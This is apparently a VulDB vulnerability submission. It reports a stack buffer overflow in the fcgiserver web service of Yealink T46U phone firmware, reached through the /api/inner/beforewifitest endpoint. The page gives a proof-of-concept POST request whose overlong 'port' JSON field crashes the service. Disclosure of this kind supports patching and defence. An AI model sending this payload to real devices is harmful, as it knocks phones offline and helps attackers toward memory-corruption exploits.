| タイトル | yealink T46U 108.87.50.1 stack |
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| 説明 | Yealink T46U phone firmware `x.x.x.x` contains a stack buffer overflow vulnerability in the Web FastCGI service `fcgiserver`. The vulnerable endpoint is:
```text
POST /api/inner/beforewifitest
```
This endpoint is handled by the `StartReportInformation()` function in `fcgiserver`. The handler reads fields such as `ip`, `port`, and `protocol` from the JSON request body. The `port` field has no length limit and is later concatenated into a fixed-size stack buffer, which triggers a stack buffer overflow.
Testing confirmed that an overly long `port` field causes the service to crash abnormally, while a shorter `port` value returns normally.
poc:
POST /api/inner/beforewifitest?p=Setting&t=<timestamp> HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid-session>
X-Csrftoken: <valid-token>
Content-Type: application/json;charset=UTF-8
{"ip":"127.0.0.1","port":"7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777","protocol":"tcp"} |
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| ソース | ⚠️ http://cdn2.v50to.cc/T46U/T46U_beforewifitest_stack_overflow.zip |
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| ユーザー | CookedMelon (UID 52513) |
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| 送信 | 2026年05月20日 17:32 (5 月 ago) |
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| モデレーション | 2026年06月14日 15:54 (25 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 370861 [Yealink SIP-T46U 108.87.50.1 Web FastCGI Service beforewifitest StartReportInformation port メモリ破損] |
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| ポイント | 20 |
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